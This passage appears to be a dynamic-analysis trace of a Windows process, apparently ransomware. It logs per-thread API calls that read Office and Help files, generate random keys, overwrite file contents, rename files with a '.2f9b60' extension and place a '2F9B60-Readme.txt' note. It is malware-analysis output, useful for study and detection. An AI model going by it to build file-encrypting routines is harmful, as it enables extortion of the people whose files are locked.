(x86)\\Java\\jre7\\lib\\images\\cursors\\" [0242.958] wcscat (in: _Dest=0x43182a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" [0242.958] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\2f9b60-readme.txt")) returned 0x20 [0242.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43182a40) returned 1 [0242.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4315ebf0) returned 1 Thread: id = 3807 os_tid = 0x13f0 [0227.735] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w")) returned 0x20 [0235.060] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W", dwFileAttributes=0x20) returned 1 [0235.069] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0235.069] GetLastError () returned 0x20 [0235.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0235.070] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0235.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0235.071] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdb88c0, Size=0x310) returned 0x1cdb88c0 [0235.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43197580 [0235.071] wcscpy (in: _Dest=0x43197580, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" [0235.072] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W", dwFileAttributes=0x20) returned 1 [0235.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508c70) returned 1 Thread: id = 3808 os_tid = 0x20c0 [0227.749] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w")) returned 0x2026 [0228.131] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W", dwFileAttributes=0x20) returned 1 [0235.607] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1398 [0235.608] GetFileSizeEx (in: hFile=0x1398, lpFileSize=0x2987fce0 | out: lpFileSize=0x2987fce0*=206316) returned 1 [0235.608] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x325e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.608] ReadFile (in: hFile=0x1398, lpBuffer=0x2987fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2987fca8, lpOverlapped=0x0 | out: lpBuffer=0x2987fc60*, lpNumberOfBytesRead=0x2987fca8*=0x4, lpOverlapped=0x0) returned 1 [0235.636] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fd0 [0235.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5bf0 [0235.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f62b0 [0235.636] NtQuerySystemTime (in: CurrentTime=0x2987fba0 | out: CurrentTime=0x2987fba0*=132462178394362000) returned 0x0 [0235.636] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x6b84805a [0235.636] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x600ced9f [0235.636] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x53b13509 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x5247e917 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x78f68d39 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0xb762e86 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x684c6cb2 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x36a93b8d [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x65549d73 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x25946115 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x7131c7b2 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x1a4e871d [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x5e0b2786 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x72f36e6b [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x528580ff [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x72124fad [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x7e44fff4 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x38eb575 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x6c263673 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x5f2cdc10 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x116b6026 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x3b96942 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x65502b9e [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x7db27bd8 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x7830e582 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x4f53f60b [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x78fc2aa7 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x46a7357e [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x594ba249 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x34bc3d4f [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x63bc0af3 [0235.637] RtlRandomEx (in: Seed=0x2987fb90 | out: Seed=0x2987fb90) returned 0x766fab23 [0236.343] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.343] ReadFile (in: hFile=0x1398, lpBuffer=0x41f885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2987fc00, lpOverlapped=0x0 | out: lpBuffer=0x41f885a0*, lpNumberOfBytesRead=0x2987fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0237.530] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a60 [0237.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8683c0 [0237.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1490 [0237.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1490) returned 1 [0237.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42978ed0 [0237.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1490 [0237.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ad0 [0237.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0ad0) returned 1 [0237.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0237.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0237.534] WriteFile (in: hFile=0x1398, lpBuffer=0x42978ed0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2987fc00, lpOverlapped=0x0 | out: lpBuffer=0x42978ed0*, lpNumberOfBytesWritten=0x2987fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0241.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42978ed0) returned 1 [0241.039] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.039] ReadFile (in: hFile=0x1398, lpBuffer=0x41f885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2987fc00, lpOverlapped=0x0 | out: lpBuffer=0x41f885a0*, lpNumberOfBytesRead=0x2987fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0241.044] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0241.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0241.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a61d0 [0241.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a61d0) returned 1 [0241.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42969e90 [0241.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a61d0 [0241.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0241.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0241.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0241.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0241.048] WriteFile (hFile=0x1398, lpBuffer=0x42969e90, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2987fc00, lpOverlapped=0x0) Thread: id = 3809 os_tid = 0x20cc [0227.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml")) returned 0x20 [0227.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML", dwFileAttributes=0x20) returned 1 [0227.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15f8 [0227.752] GetFileSizeEx (in: hFile=0x15f8, lpFileSize=0x21ccfc00 | out: lpFileSize=0x21ccfc00*=810) returned 1 [0227.752] SetFilePointerEx (in: hFile=0x15f8, liDistanceToMove=0x326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.752] ReadFile (in: hFile=0x15f8, lpBuffer=0x21ccfb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21ccfbc8, lpOverlapped=0x0 | out: lpBuffer=0x21ccfb80*, lpNumberOfBytesRead=0x21ccfbc8*=0x4, lpOverlapped=0x0) returned 1 [0228.410] SetFilePointerEx (in: hFile=0x15f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a30 [0228.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3500 [0228.410] NtQuerySystemTime (in: CurrentTime=0x21ccfac0 | out: CurrentTime=0x21ccfac0*=132462178324006000) returned 0x0 [0228.410] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x54949c5e [0228.410] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x596b4439 [0228.410] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x16845902 [0228.410] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x2eb4cc02 [0228.410] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x34d358db [0228.410] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x103f4ef6 [0228.410] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x690f841c [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x650d6d5c [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x23ee857d [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x64091e91 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x15ecaad6 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x2e2a763c [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x4c26fdd6 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x3326e15b [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x2bd49c45 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x1eca8fcb [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x272e94b8 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x6b5ca69f [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x367533b5 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x586986c2 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x101ff37d [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x68702e58 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x775f867a [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x6808c6a0 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x5fb781c2 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x29e0b3d6 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x6fe02a23 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x3241cdd9 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x37027efb [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0xe335ab2 [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x614f11af [0228.411] RtlRandomEx (in: Seed=0x21ccfab0 | out: Seed=0x21ccfab0) returned 0x4eb66939 [0228.418] ReadFile (in: hFile=0x15f8, lpBuffer=0x41c900b0, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x21ccfab0, lpOverlapped=0x0 | out: lpBuffer=0x41c900b0*, lpNumberOfBytesRead=0x21ccfab0*=0x32a, lpOverlapped=0x0) returned 1 [0228.418] SetFilePointerEx (in: hFile=0x15f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.418] WriteFile (in: hFile=0x15f8, lpBuffer=0x41c9b4e0*, nNumberOfBytesToWrite=0x32a, lpNumberOfBytesWritten=0x21ccfab4, lpOverlapped=0x0 | out: lpBuffer=0x41c9b4e0*, lpNumberOfBytesWritten=0x21ccfab4*=0x32a, lpOverlapped=0x0) returned 1 [0233.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f4c0 [0233.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e350 [0233.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e350) returned 1 [0233.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c9b4e0) returned 1 [0233.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c900b0) returned 1 [0233.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c6c0) returned 1 [0233.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62aa0) returned 1 [0233.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431acbe0 [0233.403] SetFilePointerEx (in: hFile=0x15f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.403] WriteFile (in: hFile=0x15f8, lpBuffer=0x42c15290*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x21ccfbd0, lpOverlapped=0x0 | out: lpBuffer=0x42c15290*, lpNumberOfBytesWritten=0x21ccfbd0*=0x10e, lpOverlapped=0x0) returned 1 [0235.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ac0 [0235.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ac0) returned 1 [0235.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a1ac0 [0235.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3530 [0235.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d90 [0235.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d90) returned 1 [0235.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97b70 [0235.835] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="45") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="f4") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="65") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="fe") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="6a") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="9d") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="c3") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="44") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="44") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="82") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="17") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="f7") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="bc") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="8b") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="05") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="83") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="b6") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="be") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="67") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="08") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="8f") returned 2 [0235.835] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="b3") returned 2 [0235.836] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="34") returned 2 [0235.836] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="05") returned 2 [0235.836] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="1e") returned 2 [0235.836] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="e9") returned 2 [0235.836] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="e7") returned 2 [0235.836] RtlInitAnsiString (in: DestinationString=0x21ccfc48, SourceString="45f465fe6a9dc344448217f7bc8b0583b6a8be67088fb334051ee9e7" | out: DestinationString="45f465fe6a9dc344448217f7bc8b0583b6a8be67088fb334051ee9e7") [0235.836] RtlAnsiStringToUnicodeString (in: DestinationString=0x21ccfc18, SourceString="45f465fe6a9dc344448217f7bc8b0583b6a8be67088fb334051ee9e7", AllocateDestinationString=1 | out: DestinationString="45f465fe6a9dc344448217f7bc8b0583b6a8be67088fb334051ee9e7") returned 0x0 [0235.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8697c0 [0235.836] wcscat (in: _Dest=0x43129e60, _Source="45f465fe6a9dc3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\45f465fe6a9dc3") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\45f465fe6a9dc3" [0235.837] wcscat (in: _Dest=0x43129e60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\45f465fe6a9dc3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\45f465fe6a9dc3.2f9b60" [0235.837] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\45f465fe6a9dc3.2f9b60", NtPathName=0x21ccfbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\45f465fe6a9dc3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x4205fab0 Thread: id = 3810 os_tid = 0x1f50 [0227.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml")) returned 0x20 [0227.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML", dwFileAttributes=0x20) returned 1 [0227.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xadc [0227.756] GetFileSizeEx (in: hFile=0xadc, lpFileSize=0x2990f900 | out: lpFileSize=0x2990f900*=812) returned 1 [0227.757] SetFilePointerEx (in: hFile=0xadc, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.757] ReadFile (in: hFile=0xadc, lpBuffer=0x2990f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2990f8c8, lpOverlapped=0x0 | out: lpBuffer=0x2990f880*, lpNumberOfBytesRead=0x2990f8c8*=0x4, lpOverlapped=0x0) returned 1 [0228.388] SetFilePointerEx (in: hFile=0xadc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1dc0 [0228.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d90 [0228.389] NtQuerySystemTime (in: CurrentTime=0x2990f7c0 | out: CurrentTime=0x2990f7c0*=132462178323850000) returned 0x0 [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x22454e9c [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x2cc6c3ee [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x3bd2f87a [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x75d50eea [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x44b39217 [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x4245d1b2 [0228.389] 